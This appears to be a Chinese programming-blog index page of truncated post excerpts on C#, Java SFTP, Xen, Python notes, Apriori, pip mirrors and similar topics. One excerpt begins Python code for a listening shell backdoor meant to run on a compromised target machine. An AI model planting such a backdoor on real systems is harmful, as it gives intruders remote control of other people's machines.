编程技术

策略模式的典型应用

做了一个小东西,里面有多个角色,每个角色都有特殊的菜单项,现使用策略模式对其简单实现。关于策略模式的介绍请参考其他书籍。下面是项目架构和实现:架构:实现:IMenuStrategy.csusingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;namespaceStrategyPattern.BLL{publicinterfaceIMenuStrategy{v

系统 2019-08-29 22:33:58 2346

编程技术

jsch 深入浅出(二)

在上面一个帖子里就简单介绍了如何基于jsch实现ssh.下面就简单介绍一下如何实现FTP的功能通过JSCH.publicclassJftpHandlerextendsJschHandler{privatestaticfinalLoggerlog=LoggerFactory.getLogger(JftpHandler.class);privateChannelSftpsftp=null;publicJftpHandler(Stringusername,Str

系统 2019-08-29 22:32:49 2346

编程技术

CentOS下xen虚拟机的安装与配置

我的试验环境:1.使用root用户登陆2.CentOS为原生dvd最小化安装3.接入internet一、安装xen#yum–yinstallxen*安装XEN需要的服务#yum-yinstallkernel-xen*安装XEN的相关内核二、检查启动选项是否使用xen内核启动1、检查xen内核文件安装是否正常:文件位于/boot#ls–lh/boottotal9.5M-rw-r--r--1rootroot61KMar1608:19config-2.6.18-

系统 2019-08-29 22:21:22 2346

编程技术

openfire 数据库

关于数据库有三个地方需要注意:1.plugin.xml数据库及其版本的相关配置2.系统自带表ofVersion表中,关于插件数据库的版本记录3.database下相关sql文件(对应表的创建或更新),并向ofVersion中插一条字段(记录插件数据库版本)。首先说下个人对OpenFire插件数据库加载的理解:(只要会用的话,不需要看此。或者看完数据库的创建步骤知道怎么回事,再来看这里的理解也行)1)plugin.xml中配置数据库(及其版本),知道要需要哪

系统 2019-08-29 22:10:41 2346

Python

python学习笔记(一)

Python学习笔记(一)#_*_coding:gb2312_*_:这样制定程序的编码;建议如果使用中文,最好用utf-8(用utf-8的时候,),或者gb2312。复数可以直接表示复数a=1.5+0.5j;a.real:取得实部a.imag:取得虚部abs(a):取得模数据类型转换float(),int(),long()我们用a**b表示a的b次方开方依然是函数sqrt(a)最近一次表达式输出,保存在_变量中字符串可以通过几种方式分行。可以

系统 2019-08-29 22:07:05 2346

编程技术

MediaProvider 数据库Audio相关表格相应关系

Android的MediaProvider提供了一系列的Audio,Video,image等表格,用于APP检索相关的音视频图片信息。首先来看看Audio相关的表格:×图中颜色同样的部分表示来自于同一张表格或者视图×红色表的名字表示视图为了查询Audio相关的信息,Android提供了丰富的Uri。Uri和表格的相应关系例如以下:MediaProvider数据库Audio相关表格相应关系

系统 2019-08-12 01:32:50 2346

Python

利用python模拟菜刀反弹shell绕过限制

有的时候我们在获取到目标电脑时候如果对方电脑又python编译环境时可以利用python反弹shell主要用到pythonos库和sokect库这里的服务端在目标机上运行fromsocketimport*fromosimport*s=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议s.bind(('',6666))#补丁端口s.listen(1)#开始监听一个队列whileTrue:sock,addr=s.accept()#返

系统 2019-09-27 17:56:43 2345

Python

Python --深入浅出Apriori关联分析算法(一)

在美国有这样一家奇怪的超市,它将啤酒与尿布这样两个奇怪的东西放在一起进行销售,并且最终让啤酒与尿布这两个看起来没有关联的东西的销量双双增加。这家超市的名字叫做沃尔玛。你会不会觉得有些不可思议?虽然事后证明这个案例确实有根据,美国的太太们常叮嘱她们的丈夫下班后为小孩买尿布,而丈夫们在买尿布后又随手带回了他们喜欢的啤酒。但这毕竟是事后分析,我们更应该关注的,是在这样的场景下,如何找出物品之间的关联规则。接下来就来介绍下如何使用Apriori算法,来找到物品之间

系统 2019-09-27 17:56:32 2345

Python

python实现计算资源图标crc值的方法

本文实例讲述了python实现计算资源图标crc值的方法,分享给大家供大家参考。具体方法如下:实现该功能的关键在于解析资源信息,找到icon的数据,然后计算这些数据的crc具体实现代码如下:def_get_iconcrc(self,file_path):"""Generatesthecrc32hashoftheiconofthefile.@return:str,thestrvalueofthefile'sicon"""iconData=""mype=pef

系统 2019-09-27 17:55:45 2345

Python

python中二维阵列的变换实例

本文实例讲述了python中二维阵列的变换方法。分享给大家供大家参考。具体方法如下:先看如下代码:arr=[[1,2,3],[4,5,6],[7,8,9],[10,11,12]]printmap(list,zip(*arr))print'_-------------------------------------------------'print[[r[col]forrinarr]forcolinrange(len(arr[0]))]运行结果如下:[[1

系统 2019-09-27 17:55:35 2345

Python

Python自动化整理Excel 表格

相信有不少朋友日常工作会用到Excel处理各式表格文件,更有甚者可能要花大把时间来做繁琐耗时的表格整理工作。最近有朋友问可否编程来减轻表格整理工作量,今儿我们就通过实例来实现Python对表格的自动化整理。首先我们有这么一份数据表source.csv:我们要做的是从上表中提取数据,来生成一份符合以下要求的表格:按照以下分组名单group.xls来整理数据表中的数据:最终要展现的数据项:其中“K数据/60”为数据表中的“数据K”/60后保留的2位小数我们先看

系统 2019-09-27 17:53:39 2345

Python

利用Python模拟登录pastebin.com的实现方法

任务在https://pastebin.com网站注册一个账号,利用python实现用户的自动登录和创建paste。该任务需要分成如下两步利用python实现:1.账号的自动登录2.paste的自动创建模拟账号登录模拟登录,需要知道登录的URL是什么,那么登录URL怎么去看呢。进入https://pastebin.com/之后,发现是以访客的身份进入的,点击身份图像的下拉中的LOGIN,进入登录页面,打开Chrome开发工具,选择Network,勾选Pre

系统 2019-09-27 17:53:31 2345

Python

让python pip使用国内镜像

转自:https://www.cnblogs.com/wqpkita/p/7248525.html国内源:清华:https://pypi.tuna.tsinghua.edu.cn/simple阿里云:http://mirrors.aliyun.com/pypi/simple/中国科技大学https://pypi.mirrors.ustc.edu.cn/simple/华中理工大学:http://pypi.hustunique.com/山东理工大学:http:

系统 2019-09-27 17:53:04 2345

Python

Python 数字货币量化交易实战

“与其提高牌技,我宁愿寻找对手。”这正是邢不行进入币圈的缘由。比特币在2017已经风靡一时,不过对于散户及小型机构而言,此时仍旧是适合进场的时机。为什么现在仍是适合进场的机会呢?1.现在场内的数字货币投资者,投资水平普遍不高。邢不行举了一个例子。在一次课程中,他发现整个班级的学员都买过币,做过ICO,但是用过做空策略的只有他自己。“采用做空这种交易方式,在币价下跌的时候能赚钱,这是一个投资常识。但是大多学员都不清楚,可见投资水平并不高。”邢不行说道。2.现

系统 2019-09-27 17:51:41 2345

Python

使用Python实现下载网易云音乐的高清MV

Python下载网易云音乐的高清MV,没有从首页进去解析,直接循环了....downPage1.py复制代码代码如下:#coding=utf-8importurllibimportreimportosdefgetHtml(url):page=urllib.urlopen(url)html=page.read()returnhtmldefgetVideo(html):reg=r'hurl=(.+?\.jpg)'imgre=re.compile(reg)img

系统 2019-09-27 17:51:31 2345